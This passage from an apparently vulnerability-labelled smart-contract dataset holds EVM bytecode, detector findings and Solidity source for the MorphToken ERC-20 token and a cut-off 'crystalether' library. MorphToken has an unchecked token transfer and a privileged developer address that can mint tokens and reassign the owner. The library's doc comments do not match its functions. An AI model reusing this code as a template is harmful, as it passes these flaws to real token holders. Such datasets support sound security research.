fffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d1b57600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611d5857600080fd5b82600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8516dacc9802d457f8c048d6e13f9927f8acb6300f90e09f664f192b91ae67b360405160405180910390a3505050565b600060011515600d60009054906101000a900460ff161515141515611e1c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611e5857600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611ea657600080fd5b611ef882600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461264f90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f8d82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266890919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008083600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561207f57600080fd5b600a60009054906101000a900460ff1615151561209b57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120f857600080fd5b60008511151561210757600080fd5b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154925060008584031015151561215e57600080fd5b612171858461264f90919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055506000858403141561220b576000600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b8573ffffffffffffffffffffffffffffffffffffffff167fb6eefe5d57aeb45d2fb03cb184c9808f5694f3201515c33e5c40ab637af4352c866040518082815260200191505060405180910390a26001935050505092915050565b60095481565b600080600080600a60009054906101000a900460ff1615151561228e57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156122eb57600080fd5b85600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561232857600080fd5b612330612686565b600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101541115151561238057600080fd5b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549450600054935083858501101515156123db57600080fd5b600954858501111515156123ee57600080fd5b6123f787611924565b9250828584011015151561240a57600080fd5b61241d858561266890919063ffffffff16565b600081905550612436858461266890919063ffffffff16565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055506000600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055508673ffffffffffffffffffffffffffffffffffffffff167f7b47457f3af09e5f794b020fd74160963a808f5985883496a096d403d380c343866040518082815260200191505060405180910390a28673ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a3600195505050505050919050565b600d60019054906101000a900460ff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561265d57fe5b818303905092915050565b600080828401905083811015151561267c57fe5b8091505092915050565b6000439050905600a165627a7a72305820c9ba039db890cb92a7b2d89fecc88d066ad1a831aac39efc2e19382db3e346f50029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 2,402 |
0x8dbb0701b3b33dec16f590735555b59924142574
|
pragma solidity ^0.4.23;
/*
* Creator: Morpheus.Network (Morpheus.Network Classic)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* Morpheus.Network token smart contract.
*/
contract MorphToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 1000000000 * (10**4);
/**
* Address of the owner of this smart contract.
*/
address public owner;
address private developer;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function MorphToken () {
owner = 0x61a9e60157789b0d78e1540fbeab1ba16f4f0349;
developer=msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "Morpheus.Network";
string constant public symbol = "MRPH";
uint8 constant public decimals = 4;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner||msg.sender==developer);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
function createTokens(address addr,uint256 _value)
returns (bool success) {
require (msg.sender == owner||msg.sender==developer);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [addr] = safeAdd (accounts [addr], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, addr, _value);
return true;
}
return false;
}
/**
* airdrop to other holders
*/
function airdrop(address[] addrs,uint256[]amount)returns(bool success){
if(addrs.length==amount.length)
for(uint256 i=0;i<addrs.length;i++){
createTokens(addrs[i],amount[i]);
}
return true;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner||msg.sender==developer);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
}
|
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063015024601461010157806306fdde0314610118578063095ea7b3146101a857806313af40351461020d57806318160ddd1461025057806323b872dd1461027b578063313ce5671461030057806331c420d414610331578063672434821461034857806370a08231146104095780637e1f2bb81461046057806389519c50146104a55780638da5cb5b1461051257806395d89b4114610569578063a69e894e146105f9578063a9059cbb1461065e578063dd62ed3e146106c3578063e724529c1461073a575b600080fd5b34801561010d57600080fd5b50610116610789565b005b34801561012457600080fd5b5061012d610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016d578082015181840152602081019050610152565b50505050905090810190601f16801561019a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b457600080fd5b506101f3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061087e565b604051808215151515815260200191505060405180910390f35b34801561021957600080fd5b5061024e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108b4565b005b34801561025c57600080fd5b506102656109ac565b6040518082815260200191505060405180910390f35b34801561028757600080fd5b506102e6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b6565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610a44565b604051808260ff1660ff16815260200191505060405180910390f35b34801561033d57600080fd5b50610346610a49565b005b34801561035457600080fd5b506103ef6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610b04565b604051808215151515815260200191505060405180910390f35b34801561041557600080fd5b5061044a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b71565b6040518082815260200191505060405180910390f35b34801561046c57600080fd5b5061048b60048036038101908080359060200190929190505050610bb9565b604051808215151515815260200191505060405180910390f35b3480156104b157600080fd5b50610510600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d99565b005b34801561051e57600080fd5b50610527610fb9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561057557600080fd5b5061057e610fdf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105be5780820151818401526020810190506105a3565b50505050905090810190601f1680156105eb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561060557600080fd5b50610644600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611018565b604051808215151515815260200191505060405180910390f35b34801561066a57600080fd5b506106a9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111f9565b604051808215151515815260200191505060405180910390f35b3480156106cf57600080fd5b50610724600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611285565b6040518082815260200191505060405180910390f35b34801561074657600080fd5b50610787600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061130c565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107e557600080fd5b600660009054906101000a900460ff161515610843576001600660006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280601081526020017f4d6f7270686575732e4e6574776f726b0000000000000000000000000000000081525081565b60008061088b3385611285565b14806108975750600082145b15156108a257600080fd5b6108ac838361146d565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061095d5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561096857600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600554905090565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610a1157600080fd5b600660009054906101000a900460ff1615610a2f5760009050610a3d565b610a3a84848461155f565b90505b9392505050565b600481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610aa557600080fd5b600660009054906101000a900460ff1615610b02576000600660006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b600080825184511415610b6657600090505b8351811015610b6557610b578482815181101515610b3057fe5b906020019060200201518483815181101515610b4857fe5b90602001906020020151611018565b508080600101915050610b16565b5b600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610c645750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610c6f57600080fd5b6000821115610d8f57610c8a6509184e72a000600554611945565b821115610c9a5760009050610d94565b610ce26000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361195e565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d306005548361195e565b6005819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610d94565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610df757600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610e3257600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610ed857600080fd5b505af1158015610eec573d6000803e3d6000fd5b505050506040513d6020811015610f0257600080fd5b8101908080519060200190929190505050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f4d5250480000000000000000000000000000000000000000000000000000000081525081565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806110c35750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156110ce57600080fd5b60008211156111ee576110e96509184e72a000600554611945565b8211156110f957600090506111f3565b6111416000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361195e565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061118f6005548361195e565b6005819055508273ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190506111f3565b600090505b92915050565b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561125457600080fd5b600660009054906101000a900460ff1615611272576000905061127f565b61127c838361197c565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561136857600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515156113a357600080fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561159c57600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611629576000905061193e565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611678576000905061193e565b6000821180156116b457508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156118d45761173f600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611945565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118076000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611945565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118916000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361195e565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561195357fe5b818303905092915050565b600080828401905083811015151561197257fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156119b957600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611a085760009050611bc8565b600082118015611a4457508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15611b5e57611a916000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611945565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b1b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361195e565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a723058209064b9abe4df053c27a381f9e50c1315f122e359678f4a92fe8b5f858642f4a80029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 2,403 |
0x318f76a6cc9fe5da845a35cbcdf568845400b190
|
/**
*Submitted for verification at Etherscan.io on 2021-12-24
*/
/*
@crystalether @crystalether @crystalether @crystalether
@crystalether @crystalether @crystalether @crystalether
crystalether.io crystalether.io crystalether.io
crystalether.io crystalether.io crystalether.io
*/
library SafeMath {
function prod(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function cre(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function cal(uint256 a, uint256 b) internal pure returns (uint256) {
return calc(a, b, "SafeMath: division by zero");
}
function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function red(uint256 a, uint256 b) internal pure returns (uint256) {
return redc(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
